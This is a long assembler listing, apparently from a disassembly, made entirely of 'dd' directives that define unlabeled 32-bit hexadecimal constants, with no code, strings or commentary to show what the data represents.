dd 7D3C9B40h, 344345C6h, 0E53739E6h, 48BE853Ch, 0FC80B53Fh
dd 3D1E4B25h, 89CB1B64h, 2FF3AD26h, 2CE62954h, 61A02B48h
dd 3219EED5h, 0BF3A520Dh, 0F534327Ch, 51C916D1h, 1ECF4FECh
dd 951BED20h, 0E1A82131h, 3B53321Eh, 5F0AE9ACh, 2E7FA738h
dd 326531F0h, 0B43840B4h, 0FCB93BF9h, 4A3E53CCh, 0F5DD2FFBh
dd 6B158F2Bh, 41104516h, 5F1C4612h, 0AC18571Eh, 0A104BE1Ah
dd 9600AF06h, 940C9D02h, 87088F0Eh, 0DB29DA0Ah, 2715CB2Bh
dd 65122814h, 0A31E5710h, 0DE1AF21Ch, 78083719h, 6C0C620Ah
dd 5000560Eh, 44044A02h, 9523BE06h, 0AD4FE1E2h, 25F306ADh
dd 5C27B551h, 34C72AAAh, 54A6E2A6h, 64331615h, 0C7BA37DDh
dd 7CBFFCC6h, 1B3C4E19h, 5B1E4E1Eh, 23202B40h, 63205560h
dd 2BA60D8Ch, 0C77E2E9Ch, 331231EBh, 0F36050Ch, 0B36C397Dh
dd 0D76A6B3Ch, 3A59DBE4h, 2220280Fh, 0E0A52520h, 2A650C63h
dd 52C52D2Bh, 6FCECE78h, 69F3BF33h, 76B26369h, 5A093C1Fh
dd 191C16B6h, 6124DB9Dh, 0D6623E1h, 0D7717BCEh, 2F97D42Ah
dd 6DB92C2Eh, 0CA7C3316h, 3BE09323h, 0C23C6B3Bh, 18181B02h
dd 3F25A106h, 4E233321h, 0A4F2EDAh, 488F8A9Ah, 302B2E8Ch
dd 11BA5661h, 0D4B63235h, 225B763Bh, 0AFB4686Eh, 1F9D7938h
dd 1F3A2121h, 3015CD72h, 0EC2A8808h, 2B4E09A8h, 7FDA3730h
dd 5E54287Ah, 0E3B03A19h, 3866327Ch, 3D9E135Ah, 26232F54h
dd 0E572CD2Ah, 22E8AB18h, 0B61C579h, 3131AB6Eh, 0B30B9EDAh
dd 3BB9DC36h, 133CB90Bh, 3FB65D1Eh, 0F0561EBBh, 25F13722h
dd 7B28F699h, 252CFE2Ch, 0C930FF2Ch, 60652437h, 0ECD237E7h
dd 28C3555Bh, 0EC8C1E42h, 0D53D5F5Ch, 6C4B0054h, 0B4703D2Fh
dd 2F4848C1h, 335BEDDCh, 19218EB2h, 7942772Dh, 809BA159h
dd 1AF72BC2h, 0DA251FDFh, 563667A9h, 23084808h, 5B2E0909h
dd 2FDDE92Ah, 32BE1F8Ch, 49BF0036h, 381A9105h, 0FC2AEE0Fh
dd 3C4CC539h, 23D176F7h, 664B3147h, 0A3564934h, 0DEA62FFBh
dd 0CD9E361Ah, 824A55CDh, 56A180B3h, 0CB071C3Fh, 18E60C3Ah
dd 24DE2B64h, 0A33F43DAh, 0AA46B625h, 2DE91729h, 32309B2Dh
dd 35ECDB07h, 2BB85FC9h, 0B6373B55h, 4CAA3FF6h, 289DF61Ch
dd 0AF3792A2h, 0A87BAEDDh, 0FA1A2A09h, 0CB14D1D3h, 9233B63Eh
dd 0FDB43535h, 3C2E506Dh, 19132DD5h, 0DB9D1C1Ch, 67AB25A0h
dd 0E41D3500h, 672A30A8h, 0A427592Eh, 0B33DD9F8h, 0C8240D34h
dd 0ECD23938h, 73B57D3Ch, 94251C3Fh, 467F7BDCh, 262529AAh
dd 16EDAB23h, 3A2D3CE9h, 3239A02Eh, 8E3508FFh, 1A393937h
dd 98D53E3Bh, 3D1C1902h, 5AC941Fh, 0A8282336h, 310C23A2h
dd 7C7C2D2Ah, 35147BA3h, 6BB91512h, 0F6B3B76Eh, 0D55155B7h
dd 3C1D7F55h, 0C8D4954Dh, 0E923C042h, 0C97C00CDh, 0C40ACA29h
dd 582E2F7Fh, 645033A5h, 0AC04DE13h, 78B1C5C4h, 841FA9B3h
dd 0BF869B96h, 4B6A7020h, 0B006B9E1h, 7AEBA6C0h, 2FB72DBAh
dd 0D33A59A0h, 0D28637B1h
dd 0F3813159h, 0DA2E2539h, 0DE1F993Fh, 0A769823Dh, 8B242421h
dd 0AA3E2DC7h, 386C812Bh, 0D731D030h, 3270BC35h, 6F3BBD77h
dd 0BB85211Bh, 1BDD733Dh, 5E209E7Eh, 5234229h, 2DEDA036h
dd 3C282B2Ch, 293E93CEh, 2D378DF4h, 0CB8EC5Dh, 1D5D2339h
dd 91552E3Fh, 3A5E11CDh, 8DFBA835h, 2BD7A31Dh, 1AC2E9A3h
dd 1E0DBEE0h, 2493C124h, 0D0273803h, 34D9201Fh, 0A757067Dh
dd 0F74C1F6Dh, 2BC0728Ah, 1E2ECC28h, 6BF421CCh, 6A7E2E6Ch
dd 30737C33h, 9D357076h, 0F3978AEh, 7EE13E79h, 1D583A18h
dd 622A084Bh, 25603C20h, 712A6956h, 2D69BE81h, 7F3271B0h
dd 77F83776h, 7F061234h, 3D7CC738h, 341F5E0Eh, 22604A12h
dd 72276601h, 6C3D2467h, 4FB8C37Ah, 582EFB69h, 37841CDAh
dd 0A4BC3A17h, 8D1E3E1Ah, 0DA0F173Eh, 4B57500Eh, 26215265h
dd 3CD76ECDh, 695E0278h, 30DF2B1Ah, 77082BAh, 4EE90DC3h
dd 8AB3D47h, 0AAE287Ch, 1FBF0DCCh, 0EF62A90h, 5923795h
dd 0FB578932h, 276E5E36h, 31E23B55h, 7673634h, 2B4A8543h
dd 0C6C367Ch, 52F51D7Ah, 87452ABDh, 87600929h, 2089BE2Dh
dd 9EABA67Bh, 62BB6225h, 56BC3E97h, 22FDBB35h, 6DFB35E1h
dd 14C912E0h, 61C2F76Bh, 132DF224h, 4368E67Eh, 426CEA06h
dd 7518396Ch, 0BE877224h, 0AFEBB697h, 0BB3F3B88h, 0A12197Eh
dd 3CEBB049h, 3D23314Fh, 1464A421h, 2268AB7Ch, 3417362Fh
dd 2C333429h, 0D3F5831Fh, 0F479FC6Fh, 0CBAFCBCh, 75098C4Ch
dd 2B342133h, 73252516h, 2B192959h, 5E4C6F2Fh, 30320530h
dd 2364444h, 45393930h, 3F083D4Dh, 6F3C9018h, 2121171Fh
dd 1E2555B9h, 822AAC27h, 2E142C5Ah, 3240862Ch, 35350E23h
dd 13949F3h, 0ECA73F3Bh, 1C251B4Fh, 13DBF01h, 0D398A38Dh
dd 0E933FF26h, 0CDAF7575h, 33653E2Dh, 0B55E3558h, 92DC8BEh
dd 0AAECE738h, 0E3E5BCCEh, 65099A12h, 24A11C91h, 1B27A619h
dd 0AB3B42E0h, 50A62D2Dh, 70F45404h, 0B8271299h, 283B8A84h
dd 2B273E0Dh, 0E0024D1Ch, 0CFA3212Fh, 2963604h, 59466B7Ah
dd 70253F4Eh, 79E2BA6Eh, 903A1235h, 64374C2Ah, 467935FCh
dd 6F058C1Ah, 15C9521Eh, 0F8512741h, 0EE1C7B7Bh, 9E423D24h
dd 1F311C3Fh, 57A824B3h, 2A9B7837h, 83C091Ah, 1D4C1F3Fh
dd 16B02849h, 0C6241493h, 19103311h, 2D146812h, 9AD1764h
dd 0C2C0BCEh, 0B011C36h, 0D905BE03h, 1D1B3F07h, 3A250D27h
dd 1E234F1Bh, 12CF1CE9h, 2C2910D2h, 85147B16h, 3B08E30Ah
dd 4150A35h, 780605h, 6B033E6Ah, 1E2F1562h, 44E02322h
dd 0AA737628h, 7EB20D47h, 49EF99C4h, 7477403h, 2B363F84h
dd 6B3E76B3h, 0BD2BC26Dh, 0DEA24D17h, 9974356Ah, 0CE2D2E83h
dd 6C8DCE0Ch, 70727776h, 0BB64F3AFh, 2EDD1C44h, 6587391Dh
dd 35E2312Dh, 7D1B059Ch, 140B418h, 8FF70ED1h, 2A0E6C95h
dd 0AB640D6Bh, 36B02729h, 32B85C84h, 0B1AF1AD1h, 39245A3Dh
dd 1071021Fh, 0A016199Bh, 23AF1126h, 397C0BC2h, 7AA62DA9h
dd 6202EE44h, 0F479D5D9h, 0D8B11BD5h, 9DBEB214h, 1BCEB56Bh
dd 0F7FA2586h, 4B80A19Fh, 25E62520h, 2923292Ah, 4F87AD6Ch
dd 0EEDA3530h, 0FBB6741Bh, 0E3962CC7h, 1FEABC3Eh, 1E89F437h
dd 468FA00Bh, 277D9AA3h, 2A6FC033h, 2BED7C41h, 330DD813h
dd 12713671h, 0CBD501Fh, 19A1DC82h, 193C003Bh, 61237CCDh
dd 8524AB2Bh, 1EA9B16Dh, 0C4F4E28h, 171CB21h, 2E543EDAh
dd 0E8529136h, 19B0387Eh, 0E4A69FB2h, 229F13DDh, 71027703h
dd 0A570271h, 40796278h, 140F92C5h, 548A6B55h, 286E565Fh
dd 3DC73E98h, 19FF4234h, 7E4BFA19h, 2E43A12Dh, 432B44DAh
dd 926B2D69h, 0FE2B2DACh, 32F13290h, 16992F16h, 3AF87C39h
dd 3A395D5Ah, 1FD80400h, 2BC1718Dh, 0E3070E26h, 2D482D26h
dd 376C8900h, 9D137187h, 5E34F426h, 7AB93B37h, 3E3D643Fh
dd 542C3F3Ch, 1B10A52Eh, 14CD1222h, 1D94155Ah, 9B192B5Ah
dd 2D05DD1Bh, 3740A04h, 450157h, 44493B6Fh, 26A3053Eh
dd 1AC524C8h, 251922D0h, 0B81C661Eh, 172BE312h, 0C3615D4h
dd 344A0E60h, 0C940251h, 8EF0EFAh, 2EE70BA4h, 293C2B1Fh
dd 15681713h, 11B413A8h, 1DDA1F9Dh, 181C1A0Ah, 0B3106D3h
dd 0F9F0D20h, 3C101D8h, 67C0433h, 27692578h, 1BEB19B5h
dd 1CB71E4Fh, 10E51297h, 15DE17B8h, 0EAF0C66h, 16EE8466h
dd 8CD2F09h, 22DBA2Ch, 0D170B28h, 4039774Eh, 22352220h
dd 0DF2B4F73h, 2F2C2B9Dh, 6D25D0AEh, 343431E5h, 0B43071BDh
dd 3D241F76h, 0F83FABB3h, 711D1E1Bh, 6FA921h, 284D7431h
dd 3C2B2B28h, 0E3D07F7Dh, 3E42E327h, 994712B9h, 687BF22Dh
dd 2D013495h, 560117B8h, 106D2B4Fh, 0CF6D1666h, 21486CEEh
dd 0C76205CBh, 53346952h, 0A6E6273Eh, 0D163AF63h, 25D67028h
dd 711770B2h, 6682493h, 0C6B72E18h, 63265F27h, 243A2634h
dd 3E67BB2Bh, 0BD35E418h, 38C3F9F9h, 3CD56C69h, 901FBBD5h
dd 2020825Ah, 0ACEA23A9h, 95C02B60h, 0D22CD4A8h, 5FB9E82Dh
dd 35B96C36h, 3838B27Ah, 633475B3h, 0DE40626Eh, 7C1EFE11h
dd 20F32A11h, 2B77F50Eh, 6358FD12h, 0B52E2E69h, 173346F1h
dd 7C1342B8h, 3C6A35B2h, 872AC16Dh, 9C1F1FC6h, 0A62AE520h
dd 0C1A22AE4h, 0A0292928h, 0E9AD296Ah, 0F0320A34h, 20BDD441h
dd 1B1E7DB5h, 3566F10h, 4E791C5Ah, 275520F7h, 0E2A6DBDDh
dd 6629A52Bh, 0CEEA2E1Bh, 0F33AE061h, 0B436F700h, 38151973h
dd 7D17C3ACh, 0B0C09BEh, 0A22AFDDFh, 2EF6D430h, 3F08F72Ch
dd 91100B7Eh, 0B5138839h, 27F598A6h, 36DFF627h, 0ED9C5058h
dd 0E610E8C9h, 202F0D1Fh, 841A3232h, 0A246DAB6h, 2F1DD91Fh
dd 7171D15h, 9B0B6E09h, 770FC90Dh, 6502A500h, 0DB058807h
dd 0FD24DB26h, 31192A1Ah, 631D1A1Fh, 0B9114213h, 9A15B417h
dd 3F09C10Bh, 0D0A0608h, 47066404h, 0DB02F500h, 44200D27h
dd 0A31C4722h, 0B318A91Eh, 77132A77h, 0C2829ABh, 0D26A1361h
dd 42C5BF36h, 3BA96B60h, 8E3CAC78h, 0E353BB3Ch, 26E0DD18h
dd 730C2BE2h, 0A9C07773h, 0D2D1EDF4h, 0F4C8A478h, 0BE10F37Eh
dd 646769F1h, 3D3334C5h, 0AC17CF3Dh, 55D69A11h, 259B6320h
dd 0C011278Dh, 2D8B6B2Bh, 560FEAAEh, 10238608h, 78343681h
dd 224E2D3Bh, 3C2F56BDh, 0F7761F1Ch, 0E2330800h, 3BCE242Dh
dd 0A2222D4Ah, 2B6F0CA8h, 6564305Ah, 345C32F5h, 3B38532Ch
dd 0B0DE591Dh, 1D7909E4h, 0F5814DDFh, 0E798EACDh, 0EBD228ACh
dd 0C5EC3ACCh, 0C9313B25h, 0CC36EEB8h, 381D44BEh, 5E453C5Bh
dd 0E43FCCC8h, 81211E3Dh, 26DF280Eh, 2874ACDBh, 0A0C77F2Ah
dd 3E9F17AAh, 0BEC1334Eh, 20D7F6CEh, 3A3CDBFBh, 0E718C735h
dd 0A03CD996h, 307146E9h, 4B644E75h, 0AA41EB55h, 33BF2EA2h
dd 742BF6B2h, 7975B225h, 53BB7E08h, 0F3F2333Ch, 4FAA9DE7h
dd 2188C974h, 24E62DABh, 4329E8C3h, 3BAAC5B6h, 0F426B04Bh
dd 0B36464F9h, 0BB131F2Ch, 0D62D7D28h, 403E1CE3h, 66132877h
dd 2E4D2523h, 2A192927h, 2E9FC433h, 0F6B2102Ch, 36199517h
dd 3A09B357h, 0BEB149B2h, 27693901h, 3120591Ch, 0E61E25A8h
dd 15782352h, 2CDE5E08h, 15382B0Ah, 0C7423312h, 0B4E86ABFh
dd 3D3D9F7Fh, 1ECCE39Eh, 43F494Dh, 48420391h, 33743307h
dd 44582F71h, 30ED09ECh, 4724E20Bh, 4AE1D676h, 53494D3Fh
dd 6C24FA49h, 5E03AD9Fh
dd 70212121h, 21D57F6Dh, 7F6E6438h, 7D2EAF61h, 7CB8657Eh
dd 0E47035B0h, 777F7D18h, 6E363F0Fh, 1F09384Fh, 0CAA57207h
dd 53492693h, 2D7777E9h, 2E2B2FC5h, 6160B032h, 0CFBE6365h
dd 36BA3816h, 3F3C3C51h, 1DF43B55h, 0DEDEA536h, 24CCEBA9h
dd 0A27E2727h, 1BC47DDAh, 0CEB0D1EBh, 0DDECB864h, 36388291h
dd 0D56D332Ah, 0FC6B1FFBh, 0AE80531Eh, 617C62B8h, 0A5304BAh
dd 2E6BACC1h, 0D80E6DF4h, 0BF4BB738h, 0A5B326A8h, 0A330A03Ch
dd 130C2E2Ah, 4F1A5A1Ch, 0E8F8C971h, 1C2E0307h, 0EA2C2115h
dd 2AD19E0Ch, 37945231h, 0F43275BFh, 5439F90Bh, 0BE963D9Fh
dd 59CD92DAh, 9E21E51Bh, 0D07124E3h, 0C029EC4Fh, 0EEC52CEBh
dd 22D5882Fh, 9533F539h, 0E13FF7F7h, 94740C3Dh, 0A8791A33h
dd 0C3161B0Bh, 25C18422h, 29CA438Ch, 0BF2CCEB3h, 20BB2FCCh
dd 275C8934h, 3F277130h, 0BE6E3B54h, 971B27FAh, 710F3A51h
dd 0A423B8C8h, 1A68AB26h, 2D90DFC1h, 0D8E4264Bh, 0B17C32C6h
dd 3AB239F5h, 682D3AB1h, 5FB62619h, 4D061D38h, 22223848h
dd 26B62526h, 2A524178h, 2F2C4575h, 77F531ECh, 37B67D10h
dd 7B82FAE8h, 303B6CC2h, 8041944h, 2B550E35h, 5E2D5505h
dd 0E4F72B35h, 4C2E39FCh, 8230B1BFh, 0B0F335B1h, 6E2A1136h
dd 30FB44D5h, 791CB9DCh, 0AAF81FBFh, 20D42383h, 852855F6h
dd 2D5EE3C3h, 0F1D9F306h, 458C3246h, 5675C836h, 3D330515h
dd 1C143F31h, 20101E12h, 2BDC222Eh, 27272925h, 232B2529h
dd 3F2F212Dh, 2447E631h, 18DBB532h, 191E25C9h, 183F2EC2h
dd 0D0BF484Fh, 0A210056Ch, 0AC1E3294h, 7B1E0D44h, 1B662F2Ch
dd 3292D0B1h, 7DA62E56h, 0AB4F26DAh, 29F5CC3Eh, 4B571DCBh
dd 0B3633F8Fh, 96794E20h, 0C2856026h, 0AE2D9D1Dh, 1E8198AAh
dd 513257Bh, 8C2B7457h, 178D9806h, 0CAE3921Fh, 0BDA91F13h
dd 1ED57860h, 0C1C0AC16h, 2A1CB4C8h, 113C1AA5h, 2518591Ch
dd 6DB52C5Ch, 6F16413Ah, 2F27BD6h, 0C8006415h, 64592028h
dd 345D2430h, 2E1B5025h, 2E453110h, 0B91A5821h, 1F0A3671h
dd 9079D269h, 0F31F0334h, 221F01D0h, 1E206864h, 1A2D04FBh
dd 162B3FDBh, 6B442969h, 3146617Bh, 11733441h, 0F30AB99h
dd 0DC2BC236h, 5E68DC17h, 797F7F9Bh, 279729A8h, 3FD62076h
dd 0EB17DDF3h, 0C3F5B172h, 5F625C2h, 0E539BCF7h, 313D3322h
dd 1D13103Fh, 0F23C07C5h, 73773B3Ah, 6D3C2671h, 2FF5233Fh
dd 8147C77Eh, 90971349h, 190B2526h, 1CBCD31Ch, 98DBB13Dh
dd 0A56D4E3Fh, 0E41CFE49h, 3876762Dh, 0CDB7EF90h, 6D639EDh
dd 44CC38CFh, 3C172621h, 38C0D329h, 903D3E25h, 95E081Ch
dd 889C970h, 3F2721E5h, 0D02F7B8Ah, 2F212D23h, 3C323ECFh
dd 38363A34h, 343A3638h, 303E323Ch, 1E12031Bh, 222E2010h
dd 0A7F0242Ch, 2A210C73h, 0A71A778h, 0E11A653Bh, 60F50733h
dd 44EBBD60h, 0BEDD3D2Ch, 3960902Bh, 21D01C02h, 0C817E8A9h
dd 255C81D5h, 39A8083Eh, 5B24ED22h, 2025310Dh, 3BBC1F2Ah
dd 0ED315B12h, 25107F6Fh, 345D2AF5h, 1E376441h, 6376CE31h
dd 2DEB953Dh, 0A151B8A0h, 0DC08543Bh, 66237A3Ch, 3C3ADAA9h
dd 0A22F1A79h, 1FFF8283h, 0AA722020h, 0CF320158h, 9FDB5CDBh
dd 672A2254h, 7DEB2762h, 3479F566h, 6B3E0488h, 67E3954h
dd 0BE25D0Bh, 6423F9A3h, 6242522h, 2E291013h, 26356DDAh
dd 73F125D0h, 22116032h, 0CAB9BC5Fh, 0D66F383Bh, 78ECA58Fh
dd 2E8E90E9h, 0D177E22h, 29272729h, 2D232B25h, 3E3020D1h
dd 3A343C32h, 36383836h, 323C343Ah, 1C14C03Eh, 20101E12h
dd 242C222Eh, 2828262Ah, 23242A26h, 3F2F212Dh, 0CD333D31h
dd 16FB2480h, 6C43A3Fh, 0CF9413Dh, 1E1E5D1Ch, 236146D0h
dd 63EEAC32h, 2AF050Ch, 72E61C4h, 0A7BA1735h, 11376910h
dd 0BF683838h, 0B587291Ah, 1485121Bh, 0D5C93238h, 245B2478h
dd 21297000h, 0ED290AE2h, 0F57C7309h, 10F7B80Fh, 57D104B3h
dd 8FB12F7Ah, 0F50F0875h, 0E1335FB5h, 74902380h, 298A1327h
dd 872E9AB6h, 0D5308D07h, 972A3263h, 3B895336h, 3D9E2810h
dd 14193E1Ah, 0FD0B1EBFh, 0D923827Ch, 7B373725h, 8ED92A88h
dd 517A0A2Dh, 3491D532h, 0E43457A1h, 19E73A9Bh, 0DAEE37ACh
dd 0BF9E980Fh, 212040EBh, 0A52588CCh, 372B4957h, 6B28EA2Fh
dd 3FF2B8D0h, 0DEF749DCh, 1B89D1F3h, 9DDEBC7Dh, 41DB970Fh
dd 81457B41h, 939E3065h, 0C2D8FFD8h, 0D827ECACh, 3A15742Fh
dd 603C4032h, 0FD4F4DFh, 683CD5FBh, 5E1F45F9h, 77ABB762h
dd 3D118119h, 88081287h, 8E30811Fh, 31000B1Bh, 0BB99271Ah
dd 0F83D35C6h, 191C210Fh, 4C0B5526h, 227EE94Ch, 8987EED3h
dd 6C776405h, 5C093B82h, 74073C38h, 9EF00624h, 0DDB3396Ch
dd 2D1ECA0Ah, 2F355438h, 4A381DCDh, 0E1472833h, 2D951E24h
dd 7B2AEB70h, 643C1E39h, 0F25731F2h, 9DE3134h, 413AFBFDh
dd 0D73B3DFDh, 9F1DDC2Ah, 24E6D015h, 2125C4F3h, 2A263C68h
dd 262A2C24h, 203B502Fh, 1271C22Ah, 4EF9393Fh, 93D56A32h
dd 12180F93h, 0FC200690h, 7DE50EA9h, 585C6833h, 0ED274D94h
dd 5B3DEF75h, 146F1222h, 18B13D32h, 0ADFBB03Eh, 0DE300F23h
dd 0C2123CDh, 41C33D61h, 41872F10h, 59657918h, 310FE5C3h
dd 3F033E32h, 0FA26A922h, 0D390A36h, 7A1F3884h, 125EF540h
dd 0E7329CA1h, 7CE2E3AFh, 633EEDABh, 0C29A123Fh, 0DFBD263Eh
dd 3F20F10Dh, 2998371Ch, 2B3E2B7Ch, 951E1C18h, 4367C8D0h
dd 24313666h, 704988CFh, 5E393408h, 6C50D82Eh, 37B42FB1h
dd 0AF6D2CF7h, 0AE5E3FABh, 4C1FE83Ah, 8E4811A1h, 2B952D9Dh
dd 23982E12h, 2822FA8Fh, 0BB337FEh, 0F7423F4Ah, 372C5A36h
dd 893CF953h, 1CD96331h, 95500F49h, 503222E3h, 28F7643Fh
dd 0AC153051h, 2A5011AAh, 343C284Eh, 3485363Ah, 15323A88h
dd 0BB3FDED5h, 5C2B3455h, 63A23309h, 0E0BFC20Dh, 0C37A0D27h
dd 20EE789Ah, 721827F4h, 391F701Fh, 3A2CA638h, 14679CBCh
dd 4F365F97h, 0B90344F7h, 0CE0E0D68h, 6A3060A6h, 0C1C5A87Bh
dd 0A4BC33AFh, 1F742406h, 35314A3Ah, 313D3336h, 0D99DD73Fh
dd 6CB03FF2h, 459B7474h, 2967D77Ah, 0A42E417Dh, 0CE240B52h
dd 44042636h, 0C7BBC72Bh, 36BC4EC5h, 42DB0C61h, 227EDA9Ch
dd 0CC3E1ABh, 0AC7F0715h, 7B8A060Dh, 104F483Fh, 16B13029h
dd 7C377ADDh, 907B1EF8h, 90972D48h, 3B2E4E12h, 265DF234h
dd 861939A5h, 0C4270D31h, 0A32E2226h, 0DBF6A468h, 370015AEh
dd 0CAC2B23Ah, 3A36B623h, 7EF11A0Bh, 0FAAA760Bh, 0D6C731DCh
dd 0C27E28A7h, 0CD2CFCEFh, 33BA5F7Eh, 1E3536FEh, 123803F8h
dd 3E9DD67Fh, 1E0C7E67h, 0B370371Eh, 9E542261h, 0BF3C269Dh
dd 9382A56h, 930761Fh, 213526AEh, 3911AC41h, 3C6C392Eh
dd 0B419C22Ah, 21567B05h, 256A212Bh, 285B082Fh, 38B98311h
dd 0A0ABA62Ch, 0F535C03Eh, 3B371F00h, 9D2EF4C6h, 9B060F0Bh
dd 5FBDF508h, 0E62F0111h, 17772685h, 76C23529h, 2C8EA99Ch
dd 35B20736h, 34BA2424h, 1F503B38h, 0BEAF6F3Dh, 3B1C70F3h
dd 83281812h, 34A1E22Bh, 0A178291Bh, 0B8C5A8E3h, 0CF8D9E06h
dd 0F0B49CCCh, 6C11B8B9h, 0BD7414BFh, 9F3C1917h, 0DC96CE36h
dd 2568A8DDh, 77771F02h, 2D21A24Eh, 0F5B32B6Eh, 33A4F00Eh
dd 4539FB36h, 55C3513Ah, 1C5889FAh, 817B1F1Dh, 40732621h
dd 0E80224ACh, 7F1FC60Eh
dd 0B5562EA8h, 0B1B29831h, 38B2BF35h, 0A03BBFA8h, 0BF953EB8h
dd 9AB21D99h, 23A79520h, 8E26A598h, 3102346Dh, 289901EAh
dd 3267692Ch, 36761586h, 3B7A113Dh, 4E0D10EDh, 325DB11Bh
dd 2215121h, 253D6D0Ah, 802A3D8Fh, 3B5C288Ah, 310EA20Ch
dd 715EA530h, 6A392E47h, 0E53529C4h, 0B99F1A3Dh, 25E11BDAh
dd 2C4CCBA9h, 92C974Fh, 0A923C6AFh, 5B349F0Bh, 2BF59012h
dd 1D6C60B7h, 6E23A92Eh, 0A725764Eh, 65CF755Dh, 3E336771h
dd 6CF2FB5h, 0CA89ACh, 0F354C35h, 96B84E29h, 20083135h
dd 24042206h, 1AAFB2A4h, 944B14DCh, 0E47577C9h, 26262561h
dd 2B69C994h, 0CF0A8C2Dh, 460ED0ACh, 77373729h, 3B9B7A9Bh
dd 6E3262BCh, 759D1E73h, 1E34A4E0h, 2BCE64E3h, 0AA2BAD8Ah
dd 246D2EAEh, 9233B5B7h, 339936B3h, 0FA3A1D9Ch, 3D18EC27h
dd 0AB1F3AEFh, 0A12F5EC5h, 25C5C52Ah, 21D921C6h, 22347F21h
dd 369C0D2Bh, 37B17B39h, 3BB86E76h, 3E19703Fh, 399B3AFEh
dd 0A84A6E1Eh, 26A69223h, 79777DE5h, 2C8AEAC1h, 0CFD72E2Ah
dd 349AB63Eh, 0F867B336h, 7CFC324Ch, 127F3F33h, 5F0E1F62h
dd 82CAA3Fh, 7F626DCh, 55A3E12Bh, 0A631ED3Ch, 1BDB353Eh
dd 0DAB56874h, 397A873Ah, 0B455BD6Eh, 940D96DEh, 0E8AB2001h
dd 0B333A06Bh, 226D49A0h, 86CC01Fh, 34B96022h, 30B40669h
dd 1A3FBA21h, 13FA7C29h, 23BF4E0Eh, 0AB30DE2Dh, 85AC2202h
dd 0EA981D39h, 9DEA2E5Eh, 41223E2Eh, 0DD9841C5h, 8A3A7639h
dd 1C852D1Bh, 0CA1C979Ah, 5318BE68h, 81A03305h, 0BCEFB310h
dd 89522929h, 0EB907959h, 0B730E9A3h, 360BB29Bh, 0C1BF03D1h
dd 6203DC2h, 8E9B0004h, 0C8DDDEDCh, 63E020A4h, 0A02B3B0Ch
dd 0A528556Ch, 0A521610h, 2942F5B0h, 5A665787h, 7F261F04h
dd 0E9D990Eh, 156E170Ch, 11BB134Eh, 1D9B1F8Bh, 19EA1B94h
dd 5E807FCh, 1DD03D0h, 2B60FD9h, 69004AEh, 243B23C7h, 18592670h
dd 1CB11AA8h, 10871E81h, 14E8129Fh, 8D816E4h, 0E220ADCh
dd 26C0C00h, 1AC00A0h, 211C0384h, 711C1ED0h, 0C4AF2241h
dd 0A8E2640Dh, 2D2B930Ah, 0A888CA3Dh, 78E33633h, 93C4C9FEh
dd 9E3A7E86h, 0B5CDF51Ah, 0E635CCEBh, 0BB30D129h, 0E640C560h
dd 51A1DEA3h, 2122D9D6h, 72038654h, 80E43484h, 6A7A3786h
dd 0A181A23Fh, 1F9C0214h, 4821A136h, 1925A517h, 4B6328A6h
dd 7B232C28h, 5131D47Ah, 0D24434D7h, 3ADD4437h, 3E4969B1h
dd 0BE1C6FA7h, 608E1F6Ah, 64719A26h, 2969E326h, 0CD2C6AF8h
dd 392A2E9Fh, 44DF3032h, 3A382C36h, 3C7D32CCh, 9D746E12h
dd 1031FDFh, 0B02E4338h, 1A22084h, 75C3CEE7h, 69713F4Dh
dd 10A03A59h, 688F0B74h, 3B5B63D1h, 13DEEEDCh, 7C2EBDB1h
dd 22C30481h, 734CD76h, 7842C92Bh, 37142C19h, 0D27BE3B2h
dd 3804F5C5h, 4EFB9103h, 7B129C34h, 424E4F1Ah, 0D3D7A54Ah
dd 53317320h, 0F6718903h, 0D7DA2EBBh, 71815F6Dh, 99475242h
dd 382D69B7h, 0D5510C38h, 189C2A19h, 0DFA31E8Fh, 285922E1h
dd 3A29CD2Fh, 2D1FBBABh, 0C63B512Ch, 35D53264h, 0FB2878C6h
dd 8DBDFB1Eh, 0A03FBB3Eh, 811E1D1Dh, 26A3483Ch, 3E255933h
dd 0F520CA9Ch, 0EA6A1E3Dh, 3D23EE21h, 0D836ABDCh, 186F6E23h
dd 8311CE05h, 7F49151Dh, 11676525h, 23A6A106h, 5BD5D1ABh
dd 5A34650Dh, 0E15735E2h, 672C4030h, 37A0104h, 7B7E3874h
dd 42034C4Bh, 4A194027h, 5661A432h, 34D9501Fh, 2BA514ABh
dd 0C2A12F3Fh, 960DA8AAh, 6A28900Fh, 86058C24h, 25DC044Fh
dd 64600ED6h, 45FC1BF2h, 0C110C763h, 0DD69AB9Bh, 11A0D716h
dd 0F53C84F2h, 59BCC8C8h, 3E3CBD94h, 7C9D3DB4h, 0E09B1C3Ch
dd 24932655h, 7B5FCD24h, 897A17Eh, 322F1E0Fh, 94323259h
dd 0D671BB35h, 3DE7FB3Fh, 5B883E82h, 8DDE1F3Ch, 452215A1h
dd 0CF227BADh, 4BD446A5h, 0BA2A6D3h, 9330F10Ch, 5060514h
dd 5D481A0Fh, 5D491D55h, 93461117h, 251B23F4h, 56784527h
dd 81685E55h, 50EB2E29h, 5D665F65h, 7130705Ch, 3D987F8Ah
dd 0C7A7567h, 46161B3Fh, 54447157h, 57E45751h, 406F075Fh
dd 2E90AA4Bh, 36D12A86h, 8834E6A7h, 0EC7A37E7h, 0ED3A3D3Ah
dd 0C92F853Eh, 20CE511Dh, 24F3AC62h, 227F7BDh, 0CD2BFF31h
dd 0E5252EFCh, 99341831h, 0BECB36E5h, 0D23BEB13h, 0CA833EE8h
dd 0CAFE4F1Ch, 0F32A2420h, 27F3F724h, 2BFB7C66h, 0B82EF8E8h
dd 0D3643B61h, 3FD3393Ch, 331E7DFFh, 0D73A3D2Ch, 95612CECh
dd 7B197ED9h, 217120E1h, 30E62820h, 0E5BC9943h, 0BEDDB135h
dd 606046B3h, 223322F6h, 3E31393Bh, 0E2B77E3Ah, 553042E1h
dd 2525A382h, 0DB316A3Dh, 2F74384Ah, 18B1F88h, 40003E7h
dd 84C0669h, 0CD20AB4h, 2E620D15h, 12A62CB9h, 173510C4h
dd 1B631508h, 1F821948h, 6AA1DC1h, 2D7048Ch, 0ECB00C6h
dd 0B010D37h, 2CAE0957h, 28DC2AB8h, 202216F5h, 26262704h
dd 48292944h, 0ABCC5804h, 9323C1F0h, 0F7042140h, 0B20F966h
dd 0FD5897E9h, 32FCF1CBh, 3E7144F7h, 6F6D26C3h, 2A1535D7h
dd 8F250D2Ah, 62DAA0FCh, 2E38BF34h, 4A6838A6h, 0D67D3439h
dd 0E2E2F0D0h, 1208F4Dh, 5416CB66h, 790C7339h, 2E23D72Dh
